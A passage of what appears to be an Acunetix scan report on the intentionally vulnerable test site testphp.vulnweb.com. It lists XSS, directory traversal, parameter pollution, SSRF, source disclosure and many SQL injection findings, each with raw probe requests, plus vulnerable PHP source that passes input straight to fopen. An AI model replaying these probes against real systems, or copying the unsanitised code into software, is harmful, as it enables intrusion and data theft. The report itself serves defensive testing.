Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

```
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=yxmmadkw&
uuname=qmukxvyd'%22()%26%25<ScRiPt%20>prompt(939408)</ScRiPt>
```

## Directory traversal (verified)

| | |
|---|---|
| Severity | **High** |
| Type | Validation |
| Reported by module | Scripting (Directory_Traversal.script) |

### Description

This script is possibly vulnerable to directory traversal attacks.

Directory Traversal is a vulnerability which allows attackers to access restricted directories and execute commands outside of the web server's root directory.

### Impact

By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server.

### Recommendation

Your script should filter metacharacters from user input.

### References

Acunetix Directory Traversal Attacks

### Affected items

**/showimage.php**

Details

URL encoded GET input file was set to 1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE
Additional details:

Source file: /hj/var/www//showimage.php line: 7

File: 1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE "fopen" was called.

Request headers

```
GET /showimage.php?file=1ACUSTARTFILE/../../xxx%5c..%5c..%5cACUENDFILE HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/showimage.php**

Details

URL encoded GET input file was set to 1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE
Additional details:

Source file: /hj/var/www//showimage.php line: 19

File: 1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE.tn "fopen" was called.

Request headers

```
GET /showimage.php?file=1ACUSTARTFILE/../../xxx%5c..%5c..%5cACUENDFILE&size=160 HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## HTTP parameter pollution

| | |
|---|---|
| Severity | **High** |
| Type | Configuration |
| Reported by module | Scripting (HTTP_Parameter_Pollution.script) |

### Description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.

### Impact

The impact depends on the affected web application. An attacker could

- Override existing hardcoded HTTP parameters
- Modify the application behaviors
- Access and, potentially exploit, uncontrollable variables
- Bypass input validation checkpoints and WAFs rules

### Recommendation

The application should properly sanitize user input (URL encode) to protect against this vulnerability.

### References

HTTP Parameter Pollution

### Affected items

**/hpp/**

Details

URL encoded GET input pp was set to 12&n935699=v940460
Parameter precedence: last occurrence
Affected link: params.php?p=valid&pp=12&n935699=v940460
Affected parameter: p=valid

Request headers

```
GET /hpp/?pp=12%26n935699%3dv940460 HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/hpp/index.php**

Details

URL encoded GET input pp was set to 12&n989412=v926427
Parameter precedence: last occurrence
Affected link: params.php?p=valid&pp=12&n989412=v926427
Affected parameter: p=valid

Request headers

```
GET /hpp/index.php?pp=12%26n989412%3dv926427 HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## PHP allow_url_fopen enabled

| | |
|---|---|
| Severity | **High** |
| Type | Configuration |
| Reported by module | Scripting (PHPInfo.script) |

### Description

The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering.

allow_url_fopen is enabled by default.

### Impact

Application dependant - possible remote file inclusion.

### Recommendation

You can disable allow_url_fopen from php.ini or .htaccess.

php.ini
allow_url_fopen = 'off'

.htaccess
php_flag allow_url_fopen off

### Affected items

**/secured/phpinfo.php**

Details

This vulnerability was detected using the information from phpinfo() page /secured/phpinfo.php
allow_url_fopen: On

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Script source code disclosure

| | |
|---|---|
| Severity | **High** |
| Type | Validation |
| Reported by module | Scripting (Script_Source_Code_Disclosure.script) |

### Description

It is possible to read the source code of this script by using script filename as a parameter. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

### Impact

An attacker can gather sensitive information (database connection strings, application logic) by analysis the source code. This information can be used to launch further attacks.

### Recommendation

Analiese the source code of this script and solve the problem.

### References

Source Code Disclosure Can Be Exploited On Your Website

### Affected items

**/showimage.php**

Details

URL encoded GET input file was set to showimage.php
Source disclosure pattern found: <?php

```
// header("Content-Length: 1" /*. filesize($name)*/);
if( isset($_GET["file"]) && !isset($_GET["size"]) ){
 // open the file in a binary mode
 header("Content-Type: image/jpeg");
 $name = $_GET["file"];
 $fp = fopen($name, 'rb');

 // send the right headers
 header("Content-Type: image/jpeg");

 // dump the picture and stop the script
 fpassthru($fp);
 exit;
}
elseif (isset($_GET["file"]) && isset($_GET["size"])){
 header("Content-Type: image/jpeg");
 $name = $_GET["file"];
 $fp = fopen($name.'.tn', 'rb');

 // send the right headers
 header("Content-Type: image/jpeg");

 // dump the picture and stop the script
 fpassthru($fp);
 exit;
}
?>
```

Request headers

```
GET /showimage.php?file=showimage.php HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## Server side request forgery

| | |
|---|---|
| Severity | **High** |
| Type | Configuration |
| Reported by module | Scripting (Server_Side_Request_Forgery.script) |

### Description

SSRF as in Server Side Request Forgery is a vulnerability that allows an attacker to force server interfaces into sending packets initiated by the victim server to the local interface or to another server behind the firewall. Consult Web References for more information about this problem.

### Impact

The impact varies according to the affected server interface.

### Recommendation

Your script should properly sanitize user input.

### References

SSRF VS. BUSINESS-CRITICAL APPLICATIONS

### Affected items

**/showimage.php**

Details

URL encoded GET input file was set to http://hithHSlxmyIkN.bxss.me/

An HTTP request was initiated for the domain hithHSlxmyIkN.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery).

HTTP request details:
IP address: 176.28.50.165
User agent:

Request headers

```
GET /showimage.php?file=http://hithHSlxmyIkN.bxss.me/&size=160 HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/showimage.php**

Details

URL encoded GET input file was set to http://hit9VsBoTmTYK.bxss.me/

An HTTP request was initiated for the domain hit9VsBoTmTYK.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery).

HTTP request details:
IP address: 176.28.50.165
User agent:

Request headers

```
GET /showimage.php?file=http://hit9VsBoTmTYK.bxss.me/ HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

## SQL injection (verified)

| | |
|---|---|
| Severity | **High** |
| Type | Validation |
| Reported by module | Scripting (Sql_Injection.script) |

### Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

### Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

### Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

### References

OWASP PHP Top 5
Acunetix SQL Injection Attack
VIDEO: SQL Injection tutorial
OWASP Injection Flaws
How to check for SQL injection vulnerabilities
SQL Injection Walkthrough

### Affected items

**/AJAX/infoartist.php**

Details

URL encoded GET input id was set to 1ACUSTART'"OrmpWACUEND
Additional details:

Source file: /hj/var/www//AJAX/infoartist.php line: 5

SQL query: SELECT * FROM artists WHERE artist_id=1ACUSTART'"OrmpWACUEND "mysql_query" was called.

Request headers

```
GET /AJAX/infoartist.php?id=1ACUSTART'%22OrmpWACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

```
Accept: */*
```

**/AJAX/infocateg.php**

Details

URL encoded GET input id was set to 1ACUSTART'"LIw84ACUEND
Additional details:

Source file: /hj/var/www//AJAX/infocateg.php line: 5

SQL query: SELECT * FROM categ WHERE cat_id=1ACUSTART'"LIw84ACUEND "mysql_query" was called.

Request headers

```
GET /AJAX/infocateg.php?id=1ACUSTART'%22LIw84ACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/AJAX/infotitle.php**

Details

URL encoded POST input id was set to 1ACUSTART'"Y9KtjACUEND
Additional details:

Source file: /hj/var/www//AJAX/infotitle.php line: 5

SQL query: SELECT * FROM pictures WHERE pic_id=1ACUSTART'"Y9KtjACUEND "mysql_query" was called.

Request headers

```
POST /AJAX/infotitle.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

id=1ACUSTART'%22Y9KtjACUEND
```

**/artists.php**

Details

URL encoded GET input artist was set to 1ACUSTART'"N3F1kACUEND
Additional details:

Source file: /hj/var/www//artists.php line: 61

SQL query: SELECT * FROM artists WHERE artist_id=1ACUSTART'"N3F1kACUEND "mysql_query" was called.

Request headers

```
GET /artists.php?artist=1ACUSTART'%22N3F1kACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/artists.php**

Details

Cookie input login was set to 1ACUSTART'"UYa8KACUEND
Additional details:

Source file: /hj/var/www//artists.php line: 44

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"UYa8KACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /artists.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"UYa8KACUEND
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/cart.php**

Details

Cookie input login was set to 1ACUSTART'"hs6UkACUEND
Additional details:

Source file: /hj/var/www//cart.php line: 44

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"hs6UkACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /cart.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"hs6UkACUEND
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/guestbook.php**

Details

Cookie input login was set to 1ACUSTART'"j0XcGACUEND
Additional details:

Source file: /hj/var/www//guestbook.php line: 49

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"j0XcGACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /guestbook.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
```

```
Cookie: login=1ACUSTART'"j0XcGACUEND
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input artist was set to 1ACUSTART"'A4jtrACUEND
Additional details:

Source file: /hj/var/www//listproducts.php line: 67

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.a_id=1ACUSTART"'A4jtrACUEND "mysql_query" was called.

Request headers

```
GET /listproducts.php?artist=1ACUSTART'%22A4jtrACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input cat was set to 1ACUSTART"'0XqmOACUEND
Additional details:

Source file: /hj/var/www//listproducts.php line: 61

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.cat_id=1ACUSTART"'0XqmOACUEND "mysql_query" was called.

Request headers

```
GET /listproducts.php?cat=1ACUSTART'%220XqmOACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input cat was set to 1ACUSTART"'PL4acACUEND
Additional details:

Source file: /hj/var/www//listproducts.php line: 61

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.cat_id=1ACUSTART"'PL4acACUEND "mysql_query" was called.

Request headers

```
GET /listproducts.php?artist=1&cat=1ACUSTART'%22PL4acACUEND HTTP/1.1
```

```
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

Cookie input login was set to 1ACUSTART"'KoVlDACUEND
Additional details:

Source file: /hj/var/www//listproducts.php line: 43

SQL query: SELECT * FROM users WHERE uname='1ACUSTART"'KoVlDACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /listproducts.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"KoVlDACUEND
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/buy.php**

Details

URL encoded GET input id was set to 1ACUSTART"'Q3jyfACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/buy.php line: 6

SQL query: SELECT * from products where id=1ACUSTART"'Q3jyfACUEND "mysql_query" was called. Stack trace: 1. ProcessID([string] "1ACUSTART"'Q3jyfACUEND")

Request headers

```
GET /Mod_Rewrite_Shop/buy.php?id=1ACUSTART'%22Q3jyfACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/details.php**

Details

URL encoded GET input id was set to 1ACUSTART"'hFbp6ACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/details.php line: 4

SQL query: SELECT * from products where id=1ACUSTART"'hFbp6ACUEND "mysql_query" was called.

Request headers

```
GET /Mod_Rewrite_Shop/details.php?id=1ACUSTART'%22hFbp6ACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/rate.php**

Details

URL encoded GET input id was set to 1ACUSTART'"T4LfGACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/rate.php line: 6

SQL query: SELECT * from products where id=1ACUSTART'"T4LfGACUEND "mysql_query" was called. Stack trace: 1. ProcessID([string] "1ACUSTART'"T4LfGACUEND")

Request headers

```
GET /Mod_Rewrite_Shop/rate.php?id=1ACUSTART'%22T4LfGACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/product.php**

Details

Cookie input login was set to 1ACUSTART'"SpCSQACUEND
Additional details:

Source file: /hj/var/www//product.php line: 51

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"SpCSQACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /product.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"SpCSQACUEND
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/product.php**

Details

URL encoded GET input pic was set to 1ACUSTART'"LjsvKACUEND
Additional details:

Source file: /hj/var/www//product.php line: 68

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.pic_id=1ACUSTART'"LjsvKACUEND "mysql_query" was called.

Request headers

```
GET /product.php?pic=1ACUSTART'%22LjsvKACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/search.php**

Details

Cookie input login was set to 1ACUSTART'"tCrR1ACUEND
Additional details:

Source file: /hj/var/www//search.php line: 44

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"tCrR1ACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /search.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"tCrR1ACUEND
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/search.php**

Details

URL encoded POST input searchFor was set to 1ACUSTART'"xM6MtACUEND
Additional details:

Source file: /hj/var/www//search.php line: 70

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND (LOCATE('1ACUSTART'"xM6MtACUEND', a.title) > 0 OR LOCATE('1ACUSTART'"xM6MtACUEND', a.pshort) > 0) "mysql_query" was called.

Request headers

```
POST /search.php?test=query HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
```

```
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

goButton=go&searchFor=1ACUSTART'%22xM6MtACUEND
```

**/search.php**

Details

URL encoded POST input searchFor was set to 1ACUSTART'"kuYk8ACUEND
Additional details:

Source file: /hj/var/www//search.php line: 70

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND (LOCATE('1ACUSTART'"kuYk8ACUEND', a.title) > 0 OR LOCATE('1ACUSTART'"kuYk8ACUEND', a.pshort) > 0) "mysql_query" was called.

Request headers

```
POST /search.php?test=1 HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

searchFor=1ACUSTART'%22kuYk8ACUEND
```

**/search.php**

Details

URL encoded GET input test was set to 1ACUSTART'"SeT7eACUEND
Additional details:

Source file: /hj/var/www//search.php line: 60

SQL query: SELECT * FROM guestbook WHERE sender='1ACUSTART'"SeT7eACUEND'; "mysql_query" was called.

Request headers

```
POST /search.php?test=1ACUSTART'%22SeT7eACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

searchFor=1
```

**/search.php**

Details

URL encoded GET input test was set to 1ACUSTART"'6YbpIACUEND
Additional details:

Source file: /hj/var/www//search.php line: 60

SQL query: SELECT * FROM guestbook WHERE sender='1ACUSTART"'6YbpIACUEND'; "mysql_query" was called.

Request headers

```
POST /search.php?test=1ACUSTART'%226YbpIACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

goButton=go&searchFor=
```

**/secured/newuser.php**

Details

URL encoded POST input uuname was set to 1ACUSTART"'f4sxMACUEND
Additional details:

Source file: /hj/var/www//secured/newuser.php line: 16

SQL query: SELECT * FROM users WHERE uname='1ACUSTART"'f4sxMACUEND' "mysql_query" was called.

Request headers

```
POST /secured/newuser.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 207
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=bkkfieaj&
uuname=1ACUSTART'%22f4sxMACUEND
```

**/sendcommand.php**

Details

URL encoded POST input cart_id was set to 1ACUSTART"'AlczxACUEND
Additional details:

Source file: /hj/var/www//sendcommand.php line: 17

SQL query: DELETE FROM carts WHERE cart_id='1ACUSTART"'AlczxACUEND' "mysql_query" was called.

Request headers

```
POST /sendcommand.php HTTP/1.1
Acunetix-Aspect-Password: *****
```

```
Acunetix-Aspect: enabled
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

cart_id=1ACUSTART'%22AlczxACUEND
```

**/userinfo.php**

Details

Cookie input login was set to 1ACUSTART'"qoibFACUEND
Additional details:

Source file: /hj/var/www//userinfo.php line: 46

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"qoibFACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"qoibFACUEND
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/userinfo.php**

Details

URL encoded POST input pass was set to 1ACUSTART'"iU3lrACUEND
Additional details:

Source file: /hj/var/www//userinfo.php line: 8

SQL query: SELECT * FROM users WHERE uname='rsflfvgv' AND pass='1ACUSTART'"iU3lrACUEND' "mysql_query" was called.

Request headers

```
POST /userinfo.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

pass=1ACUSTART'%22iU3lrACUEND&uname=rsflfvgv
```

